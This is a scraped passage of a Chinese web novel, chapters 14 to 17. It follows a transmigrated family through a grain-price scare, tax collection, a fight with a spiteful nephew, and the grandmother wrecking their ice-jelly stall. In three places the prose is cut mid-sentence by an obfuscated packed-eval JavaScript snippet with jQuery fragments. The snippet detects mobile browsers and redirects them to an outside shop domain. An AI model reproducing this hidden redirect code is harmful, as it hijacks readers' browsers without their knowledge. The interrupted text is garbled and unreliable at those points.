宁妈还没追问,曹娘子将声音又压低了几分:“南方遭灾,粮价上涨了,周娘子,你待会让两个孩子看着摊子,赶紧去买些粮食吧。” ——南方遭灾?粮价又要涨?! 此处人多耳杂,曹娘子不便多说,指了指水桶,朝宁妈点点头。 南方遭水灾了?! 太造孽了,丰宁县旱成这样,南方遭的水灾……宁妈叹了口气,要是能南水北调就好了。 听完曹娘子的话,宁妈让赵启一人先盯着摊子,她带着赵宁宁,去县城粮铺。 匆匆赶去时,粮铺门口已围了一圈人,赵宁宁仗着身量小,灵活地挤进去抢购了一波粮食。 平均每种粮食都涨了两三文,宁妈不敢托大,直接让宁宁把五两银子全换成粗粮。 雇佣门口的闲汉给送到巷子,赵宁宁把粮食收进空间,又从空间拿出半袋粮食。 两人提着回到摊位。 赵启稀稀拉拉迎了几波食客,见两人回来,让出位置让她们坐在小桌后面休息一下。 借着小摊的遮挡,曹娘子凑过来,忧心忡忡地问:“周娘子,你可是银钱不凑手?” 她只见宁妈带了半袋粮食回来,替她担心。宁爸住在县城医馆看了半个月的病她可是知道的。 “不妨事,家里还有些粮食,是我之前去镇上买的,够吃。”宁妈善意地对曹娘子笑了笑,又问她:“你家里的粮够吃吗?” 曹娘子点点头,昨天晚上男人下值之后将这事给家里人一说,她们全家一早便出动趁粮铺刚开门便买了不少回去,因此早上才来得比平时要晚。 粮价上涨,南方水灾的消息没瞒两天,县里人便知道的七七八八了。 县城人心浮动,连带着小吃摊的生意都受到波及了,生意不好,加上家里的稻子要收,宁妈干脆和曹娘子说了声,停了两天生意。 回到村里,宁妈带着两个孩子去田里收谷子。 这半月有周剑帮衬着浇水,赵宁宁家的禾苗还是细弱得跟蒲草一般,宁妈用镰刀一带,禾苗便脆生生地断了。 赵宁宁太小,宁妈不让她拿镰刀,只让她跟在后面帮忙搬谷子。 两亩地不大,趁着上午和晚上天不热,四个人三天就给收完了。 接下来便是脱粒晒干,周剑被何氏撵来宁宁家干活,一到饭点就消失,新谷晒好收仓的时候,赵宁宁受宁妈所托,在大门口将小舅舅堵住。 “拿着。”宁妈把一条五花肉并着一袋新米塞过去。 “姐——”周剑吓了一跳,忙摆手推拒,“我不能要,娘会揍我的!” “你就说你被撵出去的。”宁妈笑道:“说不拿就不让你来了。” 她把肉和米塞进眼前少年的手里,叮嘱道:“前几天让你们买的粮食要藏好,新米下来之后也别急着卖。” 周剑点头。 前几天宁妈匆匆从县城回来,马不停蹄地拉着娘去买了粮食,趁夜拉回家,他才知道是南方水灾,四处粮食都在涨价。 可南方那么大那么远,丰宁县一直干旱着,怎么看都影响不到这边。 周剑不懂,但他相信娘和姐姐的选择,他们总不会坑自己人。 见小舅舅肯拿自家的粮食,赵宁宁松开把门的手,将院门扯开。 “舅舅这几天辛苦啦!回去多休息休息,多吃肉!”赵宁宁说:“天气热,不早点吃完会放坏的!” 点点头,周剑提着宁宁家给的东西,趁夜色匆匆回家。 粮价上涨的风声,王李村的人不是不知道。 宁妈得到消息之后,第一时间通知了何氏,第二时间便是跟里正讲了。 里正还特意喊村里人讲了这事儿,叮嘱各家当家的,就算不去买粮,也不要把新收的粮食给一股脑卖了。 一部分人听进去了,还有一部分人选择观望。只有极个别人家,人心浮动。 老赵家。 “不管!”赵文远气得直跺脚:“柔安说了,再不筹齐银子,她就要被家里卖给县城马员外家当小妾了!” 一想到曹娘子都将自己的闺名说与自己听,还许自己叫她名字,赵文远心中一片荡漾。 “家里收了那么多粮,卖一些又如何!”赵文远扭过头看向自己亲娘,“娘……我都十八了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229739|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我一般岁数的,孩子都会打酱油了,我、我却连个媳妇都没有!” 孙氏被他这样一说,自是心疼不已,这两年都是想着万一下一年收成好,将孩子送回私塾去考功名,考取了功名后,那秀才女儿富家小姐,不任自家文远挑? 可如今都第三年了,文远已经两年没去进学,随着年龄增大,连说亲的媒婆都少一大半。 孙氏看在眼里急在心里,这几天赵文远一直催她,她急到嘴上直接起了一个大燎泡。 “都怪那个死丫头作妖……不然我儿早就凑齐彩礼了……”孙氏低声骂道。 赵文远又催,孙氏只能咬咬牙,低着头去找婆婆说情。毕竟文远是她的大孙子,婚事不能再拖了,再拖下去,只能娶村里的姑娘。 趁着新粮刚下来,家里能有余力,这事早早办了为好。 赵家的田多,今年没有老二这个苦力,只能全家上阵,连平日里不出门的二丫都被孙氏给喊出去做了几天的饭。 许是这半个多月浇水懈怠,赵家的粮食收成要比村里其他人家要少许多,再扣掉分出去的两亩地,今年拢共才收了六十石粮食。 扣掉八口人的粮税,只剩下四十四石。 想到最近飞涨的粮价,孙氏去堂屋的路上心跳如擂鼓。 也不是……不可能。 老赵家打头阵,赶在粮价最高点的时候,按十六文一斤将粮食卖了三十五石出去,换了一百三十五两银子,剩下几石则是换成粗粮拉回家。 钱婆子攥着冰凉的银锭子,心里却热乎得很,逢人便说:南方水灾管丰宁县什么事,趁粮价高卖出去,等价格降下来再买回粗粮。 这样一倒手,换到的粗粮够一家子吃两年都吃不完! 瞧见她这样,村里有不少人心动了,偷摸地也去卖了一点。 里正和村长知道这事儿,气得头疼。 凑齐银子,赵文远巴巴地捧着过去给曹柔安看。 曹柔安也没想过一个村里的泥腿子能这么快凑到钱,推说家里人舍不得她,要再等几个月成亲。 赵文远哪见过这架势,晕乎地便应下,回家催促孙氏去请媒人提亲。 两家很快走了流程,请好期后,赵文远这才放下心来,整日乐陶陶地在村里镇上两处乱晃。 宁宁家。 粮食收完,赵宁宁的冰粉还剩一半没卖呢! 她冒险去山上采的假酸浆草被种在花盆里,后面又培育了几盆冰粉籽种出来的,赵宁宁不担心以后会缺原材料。 卖完这半个月,剩下就要靠自家去山上采冰粉籽、去买红糖自己调糖浆、自己做小料。 秋收结束,新涌入市场的粮食让粮价降了两文,南方水灾的波及过去,赵宁宁一家又开始经营自家小摊。 钱婆子逢人便自夸有眼光、果断,想着再过几日粮价完全降下去,用剩下的钱多多买些粮食,气死村里说酸话的那些人。 因着各地收粮时间不一,赵宁宁家粮食都晒干装好袋五六天,收粮税的衙役才到王李村。 粮税是衙役挨着村子收的,里正和村长近几日都惊醒这,远远听到村民说粮差和衙役来了,忙把人给请进屋,奉上好茶,又命家里人赶紧去通知村里人。 他们来时已是辰时,何氏和周剑把粮食搬到里正家门口。 想到宁宁家一早便去摆摊,应该不知道这事儿,女婿身体又不方便,何氏让周剑去打声招呼,他们两个轮流把赵宁宁家的粮也搬了过来。 宁爸拄拐蹦跶着,带着户籍慢慢挪到里正家门口。 村民挨个排好队,衙役喝过茶,带着量斗过来,对照着名单喊人,喊到的将户籍递过去,一个衙役比照户籍,一个衙役去检查粮食,确认粮食没问题,还有两个专门量重量。 四个人干活,还有一个粮差监督,速度并不慢。 收好份额后,衙役会将名单划掉,再喊下一个。 周剑体谅姐夫身体不便,回家搬了一个条凳出来让他坐着,自己则是守在自家粮食旁边,等着叫名。 “呵,去县城治腿不也是这样,还是一个瘸子。” 宁爸打扇的动作一顿,都不用回头,就知道这声音是赵文远。 第15章 找事儿 能在今日碰上,两人都不意外,赵文远见赵老二没反应,苍蝇一样嗡嗡在周围说个不停。 宁爸涵养再好,也架不住旁边一直有人在念经,最终,他忍不住放下扇子,提起拐杖起来:“怎么,你想找事?” 赵文远没想到平日里话都不敢大声说的二叔会起身责问自己,见旁边有人看过来,他不想丢面,梗着脖子道:“怎么了?我不过是在旁边念叨闲聊几句罢了!” “闲聊?你都造上谣了!”宁爸撸撸袖子,“人家读书肚子里灌的是墨水,我看你读了几年书,净是往脑子里灌坏水了!” 一开始他还能忍,到后面这个小崽子扯到宁妈和赵宁宁身上,说她们嘴上说是去县城做生意,不见忙碌只见往家里买这买那的,钱哪有这么好赚?定是做些见不得人的生意。 都造上谣,宁爸一点都忍不了。 宁爸这样拐着弯骂人,村里人一听便笑起来,赵文远环顾四周,气得整个人都发抖起来。 里子面子全丢了个精光,他指着宁爸,气到说不出一句囫囵话,“你!你!” “算了吧,今天交粮税,有衙役在,别闹大了。” 有村民递台阶给下,赵文远气得一甩袖子,一副不服气的模样,依旧站在原地仰着头。 那架势任谁都看着生气。 “滚远点,我娘子一只手都能给你们收拾服帖了,更何况我。”宁爸胳膊使使劲儿,一身腱子肉顿时将衣服撑起来。 赵文远被他的阵势吓退两步,脸上挂不住面,一咬牙,他伸脚踹向宁爸的好腿。 这不是典型的“猛踹瘸子那条好腿”吗?! 宁爸除了最开始那几天,后面都能拄拐下地,他都快适应半个月了,见赵文远使出这种下三路脚法,抓着拐杖往咯吱窝一夹,以拐杖为支点,圆规一样身形灵活地绕过去。 单腿站稳后,宁爸提起拐杖,胳膊一使劲儿,直接向赵文远扫去。 躲闪不及,赵文远被一拐杖击中,整条手臂都痛得像是断了一样。 “啊!!”赵文远痛呼,左手下意识捂上去。 “文远!” 孙氏冲上来将扛着的粮食丢在地上,推开几个看热的人,双手刚一碰上赵文远的右臂,便被他狠狠推开。 “疼!别碰我!”赵文远朝自己亲娘吼道。 声音极大,原本没注意这边的村民,也发现这一块地方的不对劲。 “文远……这、这可是右手!”孙氏回头,怒视宁爸,“我们家文远可是要考功名的!” “你把他的手打坏了怎么办!” 宁爸都无语了,要不是赵文远在这挑事,他一个低调的瘸子至于拖着一条好腿在这揍人吗? “你不问问是谁先找的事。”宁爸说,“谁先动的手?” “就算分家!你也不能这样对待你的亲侄子啊!”孙氏像是耳聋了一眼,不住责问宁爸。 “喂!” 周剑拨开挡在他前面的人,走上前说:“是你儿子先造谣,又先动手的!” “他不但对长辈动手,还踹人家好腿!” 周剑说:“本来就只有一条腿是好的,万一再伤到,你们能赔得起吗?!” “别忘了你们是分家又断亲的!” 没想到周剑嘴这么利索,不愧是周家人!宁爸赞赏地看了一眼周剑。 一番话下来,孙氏的气势顿时弱了三分,仍不死心说:“小远还是个孩子,你一个二叔,跟孩子置气什么!” 宁爸:“我还是他长辈呢!亏他还读了几年的书,书都读进狗肚子里了吗?当众袭击长辈!” 既然孙氏拿长幼辩解,那他也能拿辈分压人,说破天,赵文远当众打他就是罔顾人伦的行为。 “你!你怎么心眼这样小!我不过是说几句实话,你!你!” “你什么你!”宁爸说:“你不是还要考功名吗?要是背上一个当众打二叔的罪名……” 后面的话宁爸没说完,因为里面称粮食的衙役听到这边动静,抽出一人走了出来。 “闹什么闹!”衙役大手一拍身上的佩刀,“不想要命便直说!” “官差大爷——你要为我们家做主啊——”孙氏以袖掩面,哭哭啼啼还要说话,被自己儿子拉住。 制止住亲娘的话头,赵文远脸上神色尴尬又恐慌。 “官爷、官爷,我不是!” 刚才赵老二的话没说完,要是说完,他以后就不用再想着考功名的事了!大周朝以孝道为重,若是他今日的所作所为被有心人记下,等他考上秀才,随时都有可能被人攻讦。 今天的事能不闹大就不闹大,闹大了只会对他不利。 衙役的目光扫过在场众人,最后落在拄着拐杖那人身上,“你说。” 赵文远紧张起来,他生怕赵老二说出什么不该说的话。 “这人是我侄子,刚刚我坐在这儿休息,他在背后说我们一家子的坏话不说,还动手打我。”宁爸如实说出来,他可没有替赵文远遮掩的义务。 “你胡说!”孙氏将袖子从赵文远手里甩开,不顾他的阻拦走上前去,“明明是你拿拐杖打我儿子!” “这里这么多人,我有什么说谎的必要吗?”宁爸都气笑了,他算是知道,老赵家一家子从上到下全是黑心的,不然怎么把白的说成黑的? 人群围着,衙役盯着,周剑本有些忐忑,看到姐夫孤立无援地站在中间,他回头看了一眼娘亲。 何氏冲他点头,周剑握拳上前,铿锵有力道:“我可以作证!” “就是你们在欺负我姐夫!” “官差大爷,他是老二的小舅子,他的话怎能算数?你别听他的……”孙氏见衙役脸色越发不愉,声音越说越小。 “胡闹!”衙役朝旁边的人说:“去把你们里正村长喊过来!” 村民应声,忙去里正家堂屋找人。 知道是老赵家在**,里正脸上挂着得体的微笑,心里恨不得把赵文远给凌迟千百遍。 ——又是赵家! ——怎么分了家还能闹出这么多事! 里正和村长向粮差告罪,起身去院外。 孙氏察觉到不对,嘴巴蚌壳一样给闭着,在赵文远忐忑的目光下,里正出来主持公道。 “差爷,外面天热,您屋里请,这点小事我们自行解决便是。”里正赔着笑,陪衙役回去。 再出来时,里正沉下脸,“胡闹也要有个分寸!今日收粮税,有什么事不能明天再说,非要今日闹起来,搅得差爷生气!” 劈头盖脸一通话下来,压得孙氏低下头。 “你也是!读过书学过礼的人,更应知道什么叫礼义廉耻,怎么行事这般荒唐?!”里正深吸一口气,叹道:“跟你二叔道歉。” “二叔,对不住。”赵文远低头,几乎是咬碎了牙齿说出的这句话。 “行了,以后管好自己的嘴。”宁爸点点头, 赵文远垂在身侧的拳头骤然握紧,力度之大,指节都有些发白,低下的头恰好掩住他眼底的怨毒。 今日的仇,我一定要报!赵文远在心底怒吼着。 见这事揭过去,里正和村长折回院里,今天收粮,还是院中的事更重要些。 他们走之后,村民三三两两地散开,这时,指挥着家里搬来最后几袋粮食的钱婆子和赵老头才赶来。 见孙子和儿媳表情不对,钱婆子斜睨了一眼靠在墙根处休息的赵老二,问:“孙氏,你们两个怎么回事。” “娘……”孙氏嗫嗫嚅嚅道:“刚刚——” “娘!”赵文远打断她的话,“先把粮食交了再说。” 孙氏讪讪到一旁去帮衬着抬粮食。 他们俩这是在打什么哑迷?钱婆子不解,既然孙子不让说,钱婆子见这里不是说话的地方,便也没有在追问。 时间一分一秒过去,有本村里正主持,王李村四十二户人家挨个交好粮,粮食袋子从院内排到了院外。 中间没有那种放陈米、往袋子里掺石子儿、用半干的粮食糊弄的。粮差对王李村的里正很是满意,喝下最后一盏茶,他起身让众人带着粮食回衙门。 里正早在称粮食的时候就派人去其他村子将牛车借好,交上去的粮,一部分由官差押送,另一部分放不下的还要村民各家出一人手帮着送到县城。 周剑让姐夫只管在家放心休息,他跟着同村的玩伴一起去给两家看着。 这次进城不用掏入城费,好些个家里平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229740|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时舍不得那一二文钱进城的,今日纷纷带上银钱,嘱咐家里人去县城交了粮食之后,去哪里买些什么。 老赵家粮多,一般都是出两个男人去交粮,往常都是赵老大和赵老二去,今年分了家,只能老大老三去。 一路上赵老三抱怨路远走的脚痛,等进城把粮运进丰宁县粮仓之后,赵老三心思活泛起来。 他脚也不疼腿也不酸了,揣着临出门前娘子塞来的碎银,想着在县城买几块糕点回去。 来都来了,回去还有免费的牛车坐,赵老三让大哥自个去买钱婆子要的针头线脑布头瓢盆,顺着衙门溜溜达达地往热闹地方去。 散漫地走了半条街,赵老三买了一包红豆糕,一包饴糖。平时鲜少来县城,今日以来真是看哪哪新鲜,赵老三目光游移,忽然他整个人顿住,视线定在一个摊位上。 ——周氏?! 赵老三把糕点糖块往怀里揣揣,快步上前拨开几个人,凑近了,他又看到人群围挡着的桌子,那桌子上一字排开了几个罐子,里面装的有细碎的像是吃食的东西。 五丫正一勺一勺往碗里舀,最后浇上酱油一般的东西,食客忙不迭地接走,到一旁“呼噜”地吃起来。 “五丫?!” 赵老三惊呼出声。 听到有人这样喊赵宁宁,宁妈飞速抬眼扫了一眼,果然是赵家的人。 “你们真的在摆摊!?”赵老三挤开人群,后面排队的人登时不满地抱怨起来。 “哎哎——”宁妈放下勺子从桌后绕出来拦住他,“就算是亲戚,也不能不排队,要吃的话往后边站!” “不、我不是来吃的……” 赵老三还没解释完,便被后面排好队的食客给推搡到一边去,他只能眼睁睁地看着赵宁宁一家子卖吃食,收铜板。 老赵家。 “什么!?” 钱婆子手里的二合面饼子“啪嗒”一声落地,“她们竟然真的是去摆摊做生意!” 做的还是吃食生意。 “那可不,买的人排长队,听说是丰宁县独一份儿的吃食。”赵老三咂吧咂吧嘴,他倒不是馋吃的,而是馋那一个又一个的铜板。 “怪不得老二一家有银子去县城治腿,原来是因为这个吃食生意!”钱婆子将饼子从地上捡起来,仔细拍了拍土,握在手里。 赵文远脸色不好,“奶!他们怎么会有吃食的方子!?是不是从家里知道的?你说他们是不是故意闹的分家,分完之后好去做吃食生意!” 听到大孙儿的话,钱婆子心底涌出一股失控感,她试图抓住什么,却毫无头绪。 自从赵老二摔断腿之后,这个二儿子的性情就越发乖张,跟以前那个顺从、听话、踏实肯干活的赵老二判若两人。 现在他们一家子折腾着分家出去,又去县城治了腿,家里还握着能源源不断生财的吃食生意,这样下去,二房一家岂不是蒸蒸日上起来?! 将二房分走,可不是看他们过好日的!他们明明残的残小的小,他们应该是吃不饱穿不暖,应该是跪在老赵家门口苦苦求饶! ……自家再大发慈悲允许他们回家,然后支使二房像原先那样,给家里干活。 钱婆子心念百转。 “不行!咱们明天去县城看看!” 赵宁宁家。 大门一关,赵宁宁担忧地问:“妈,今天那家人看到咱们的摊子了,应该不会有事吧?” 宁妈摇摇头,“按照这几日的了解,他们肯定会找事,兵来将挡水来土掩,咱们做好自己的事儿就成。” 宁爸嘿嘿笑了一声,“你怕什么,你又不是不了解你妈武力值有多高,来一个打一个,来两个打一双!” 听见自家人还有心思调侃,赵宁宁无语了一瞬,伸手摇摇坐在一边的赵启,赵宁宁说:“哥!你知道大周朝的法律吗?” “……嗯,知道一点,但是不多。反正咱们摊位离县衙近,他们要是敢来**,咱们可以直接去报官。”赵启摸摸自己的脑袋,陷入回想。 宁妈:“也是,当初选在东市,就是图离县衙近,咱们一家今天早点睡,那家子保准儿明天就回来找茬!” 可真叫宁妈说中了。 第16章 掀摊子 第二日。 都快晌午还不见老赵家的人过来,赵宁宁都以为是自己以恶意揣测别人 正午天气最热,来往食客最多,赵宁宁忙得脚不沾地,也根本没空去想这事儿了。 忙过一波,县学中午放学吃饭的学子散去之后,赵宁宁家的摊子上总算能喘息片刻。 宁妈拿干净的巾子擦擦脑门上的汗,伸手摇着蒲扇给两个孩子扇扇。 又来一位食客,赵宁宁刚要起身,被宁妈按住。 “你歇歇。”宁妈说着,把扇子塞过来,赵宁宁拿着,坐在板凳上和哥哥一起扇扇子。 食客递了钱,站在摊子前面寒暄:“天气越来越热了,真是邪门儿。” “是啊,早上往地里浇水,前脚刚走,后脚地就裂了。”宁妈嘴上说着话,手上动作不停,几勺子舀好冰粉,飞速将小料挨个加好,浇上糖浆递给食客。 食客笑笑,端着颤巍巍的冰粉到摊位旁边的小方桌坐下,慢条斯理地吃,一边吃一边夸赞:“还是你们家的冰粉好吃。” 冰凉丝滑,一口下去身上的暑气和燥意顿消,通体舒畅无比。 “说起来,咱们县城前天也出现一家卖‘冰粉’的。”食客说:“我们家小子贪那一文钱的便宜去尝了尝,回来直骂那店家黑心。” 赵宁宁好奇,“大哥,那家是怎么做的?” “我不知,只知道那家做出来的冰粉……”食客说到一半停下,先把碗里剩的一小半给秃噜喝完,放下碗后,这才说:“只知道那玩意是乳白色的,喝起来黏黏糊糊跟鼻涕一般。” ——跟鼻涕一样? 赵宁宁思索,那用的原料应该不是冰粉籽,不知道是用什么东西做成的。 有竞争对手很正常,出现模仿的也很正常,只是对家还没琢磨出来冰粉的奥秘,只能学个形。 赵宁宁对食客大哥笑笑,起身将空碗收了回来洗。 早晨气温没升上来的时候摊位没什么生意,顶热的时候食客也不愿意出门。 宁妈怜惜两个孩子身体年纪小小的便出来受罪,左右家里做着生意,她经常趁着中午最热没什么生意的时候,在附近摊位给孩子们买点吃食补补。 宁妈解开围裙搭在箩筐上,交代两个孩子:“你们在这儿守着,我去买吃的。” “我想吃包子!”赵宁宁举手,宁妈点头,算是答应。 她刚走,老赵家的人便出现了。 打头的是钱婆子,后面跟着孙氏,三儿媳吴氏嫌热不肯来,剩下便是两个儿子。 赵宁宁警惕起来,她还没开口,钱婆子抢先开口道: “哟!” “五丫,这摊子支得可不小。” 宁妈不在,赵宁宁不欲搭理他们,警惕地先把小料盖子给盖上。 赵启起身用身子堵在小桌旁,借着衣裳的遮掩,用腿将木桶不着痕迹地往里顶顶。 “怎么不说话?你娘呢?”钱婆子用手扇扇风,这天气太遭罪,她们一路过来,正午的太阳几乎能把人给晒成干。 好悬没中暑,进城的时候赵老三本想使两文钱买碗绿豆汤喝,被钱婆子以浪费钱,待会去喝赵老二家摊子上的东西为理由拒绝。 “你来干什么。”赵宁宁说:“我记得咱们不是分家了吗?” “分家——那也是打着骨头连着肉的亲人啊。”钱婆子笑笑,脸上挤出一堆花褶子,“这不是听说你们娘儿仨支应不过来,我们今天特意来帮忙的吗?” “我们不用你们帮忙!”赵启护在妹妹前面,“我爹腿伤的时候你们不闻不问,还趁大人不在把我妹抓走要卖掉。分完家,看我们过得好了,才来黄鼠狼给鸡拜年!” “你!你!”钱婆子肚子里虽没有几个墨水,但乡间常见的俚语她还是懂得的,三小子这是明晃晃骂她不安好心呢! 一旁卷饼摊子的曹娘子见情况不对,悄悄出去,跟对面交好的摊娘说了声,匆匆朝街上跑去。 街上本没几个食客,路过的人听见这边吵嚷的动静停下,人越来越多,竟将摊子给围挡起来。 钱婆子心中暗喜,人多好,人多了她们才能趁机“闹”一下。 “她可是你亲奶奶,不过是想帮衬帮衬你们家!真是良心被狗吃了!”孙氏扶着钱婆子的胳膊,两人站一起,互相找到了主心骨,见三小子和五丫都不说话,孙氏胆子更大了些。 赵老大帮腔:“对呀,她可是你奶,你怎么能跟长辈这样说话!” “对!你们两个就是不孝!”钱婆子抓住这点,转头朝围观的人群哭诉。 这家人跟打不死的蟑螂一样,平时生活在见不得人的阴沟里,时不时就跑出来恶心人一下。 昨天晚上商量过老赵家的人会来**,赵宁宁此时一点都不慌张,她握住哥哥的手往后带,自己站在前面。 “停停停!”赵宁宁人小嗓门大,将人群的注意力喊过来之后,赵宁宁从怀里摸出几张纸来。 “我们都分家大半个月了,分家不说,我们可是签了断亲文书的!”赵宁宁说:“你拿孝道压谁呢?!” “分家也改变不了,你是赵家的人!”赵老大说。 在大周朝,哪有什么一纸断亲文书就能真得恩断义绝的人家?孝道重于天,不管对方做什么,只要拿“孝”说事,便先占三分理。 “哦?”赵宁宁说:“那这断亲文书算是白签的?” “分家时候你们四十多亩地,只分给我们两亩地,一间破屋,现在我们好不容易靠自己双手做点吃喝挣钱,你们却想着过来摘果子?” 赵宁宁踩着板凳,站在摊位后面拔高声音:“诸位听一听哈!” “这几个人!”赵宁宁指指钱婆子几个,“老大家想给儿子娶媳妇没钱,就想着把老二家的孩子卖给傻子当童养媳!你们说这做法行不行?!” “这……”看客交头接耳,“要说穷苦人家卖女儿的也有,可这卖人家二房女儿给自家孩子娶媳妇,不太能说得过去……” “就是,况且有四十亩地呢!怎么也到不了吃不起饭的程度。” “你看看他们。”赵宁宁说:“穿金戴银,身上穿得全是好衣裳,那像是家里没钱,可怜我被抓第一次不够,第二次又被捆了,差点就被卖了!” “我爹的腿摔断,你们宁可自己顿顿大鱼大肉,也不肯给我爹治腿,现在我们家自己好不容易琢磨出来个吃食生意,赚几文钱给我爹治腿,你们却从中作梗。” 赵宁宁铿锵有力的声音穿透人群,一群人看钱婆子的目光顿时变了。 前段时间卖了粮食,家里如今不缺银子花用,前段时间扯了不少布回家做衣裳,钱婆子甚至阔绰地给自己买了对金耳钉。 今天来为了体面来县城,钱婆子将自己陪嫁的银簪子插在头顶的小髻上,耳朵戴着自己的小金花耳钉。 而赵宁宁这边,两兄妹不是来摆摊就是在家里忙着干杂活,小孩衣服不经穿,已经洗了好机会并打了几个补丁。 他们两个之前长年累月缺衣少食,刚穿来的时候几乎是皮包骨头的瘦,宁妈天天回去加餐也只补起来了一点。 反观钱婆子,个个膀大腰圆的。 怎么看都是赵宁宁这边惹人怜。 “这小摊主说的对……” “怎么看都像是那种恶奶奶,平时爱磋磨人的……” 钱婆子指着五丫的鼻子:“你!你胡扯什么?我们什么时候大鱼大肉了!” 赵老二砸断腿的时候,家里只有下十几两银子,哪有什么余钱给他看病?! 那段时间家里日日吃糠咽菜的,赶上这种要不了命的病,只能说赵老二活该! “怎么是我胡扯。”赵宁宁委屈地说:“你宝贝大孙子还拿着三两银子去白送别人。” “宁肯卖孙女都要给大孙子娶媳妇,这样的奶,怪不得里正让签断亲文书。”赵宁宁说完,用小手抹抹脸,带着哭腔说:“我爹腿断了,要卖我,那也是为了给我爹治病卖呀!” “你!你住口!”钱婆子上前几步,直接将小桌掀翻。 桌上的小料罐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229741|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子碎了一地,里面的东西混在一起,直接沾上地上的尘土。 赵宁宁心疼不已,她的小料都是对准冰粉籽的分量买的,这点撒了,她有二三十碗冰粉都撒不了料了! “你怎么能造谣长辈!”钱婆子掀完桌,见五丫身前没了阻挡,直接伸手过来要拉她的胳膊。 “走!跟我回去,你们两个小孩趁着大人不在,在这胡折腾什么!” 早在钱婆子掀摊子的时候赵宁宁就有准备,此刻直接跳下板凳,身形灵活地躲过她的手。 钱婆子一抓抓了个空。 “我们跟你回去?去哪?不是分家又断亲吗?”赵宁宁隔着一地碎瓷片站在后面,恍然大悟地说:“你想抓我们回去,套我们吃食的方子?!” “我、我怎么会这样做!”钱婆子被戳中心事,心虚地说话都有些结巴。 赵宁宁:“不是就好。” 不等钱婆子放松,赵宁宁说:“我知道了!你想抓我们回去,关着我们,逼我爹娘交出吃食方子!” “在村里,你第二次趁我上山绑走我被里正狠狠地敲打了一通,你不敢再在村里找我们家闹。”赵宁宁笑道:“所以你们来这里。” “笑什么笑!”孙氏呲着牙,显然是被赵宁宁的一番话勾起了不好的记忆。 那天晚上里正家不让小孩在场,赵宁宁一开始不知道里面具体发生了什么事,还是后面小舅舅说秃噜嘴,她才知道,当天里正让村里婆子用木尺狠狠地打了钱婆子和孙氏三十下。 听说出去的时候,她们两个手肿得老高,躲在屋里不敢见人,一周才消肿。 村里出了一个抓孙女卖孙女的人家,影响王李村风评,第一次的时候里正尚可睁一只眼闭一只眼让赵老头自己处理家事。 但两个婆子贼心不死,还想在村里闹出第二次。若不是赵宁宁机灵,晓得把头埋进膝盖将堵嘴的布夹掉喊人,怕是真被她俩卖掉了。 这事不能有第三次,因此里正狠狠警告了老赵家一番。 这也是昨夜听到二房家在县城摆摊做生意的消息之后,钱婆子宁肯顶着大太阳也要跑来县城**的缘由。 村里人都晓得她做了什么事儿,不好拿孝道去压人,可县城不同,二房一家在县城孤立无援,没人知道她们家的事…… 只要钱婆子开口逼问,周氏不得不顶着压力,将方子乖乖交出来。 只可惜,王李村发生的事全被赵宁宁给捅出来了。 “你这个死丫头,满嘴喷粪,净说些没有的事!”钱婆子拎着桌腿往旁边一推,上前直接去抓赵宁宁。 “不要抓她!”赵启飞身护住宁宁,说时迟那时快,钱婆子伸出去的手一把推开赵启,力道之大,赵启直接摔在旁边的推车上。 钱婆子伸出另一只手,稳稳当当地抓住赵宁宁的手腕,一扯,便轻飘飘地把这丫头提了过来。 “死丫头,在家舍不得打你,你竟然当着这么多人的面胡乱造谣!”钱婆子抓住赵宁宁,心里笃定抓住了二房家的命脉,心里得意极了。 “你放开我!我们已经断亲了!你不是我奶!”赵宁宁挣扎,可她一个八岁的身体,撑破天也只能让钱婆子拉扯她的步伐稍微停顿片刻。 “走!跟我回家!” ——怎么办?! 赵宁宁焦急地朝人群外看去,可矮小的身形,只能看到刚才看热闹的路人给钱婆子让路的动作。 “宁宁!”赵启从地上爬起来,一把抱住赵宁宁,企图用身体的重量拖住钱婆子。 孙氏见三小子这般阻挡,一不做二不休,直接上前,伸出双手一把将他给撸下去。 没了阻挡,钱婆子直接将赵宁宁的双手反剪着,得意得如同斗的大公鸡,“老大老三,把摊子收拾收拾,咱们回去!” 推了一把不走的五丫,钱婆子嘟囔:“晦气丫头,净白费我口水,早点听话不就成了……” “住手!你们放开宁宁!” 听到宁妈的声音,赵宁宁心里吊起的石头终于放下。 第17章 对簿公堂 宁妈的话音刚落,她人便从人群后面冲了进来,借着这股劲,她直接一巴掌将钱婆子推倒在地。 钱婆子坐在地上,一双手直接**碎瓷片上,顿时疼得她哎呦叫唤。 “宁宁,你没事吧?”宁妈把女儿拉回来,粗略检查一番,见她齐整,才往怀里带。 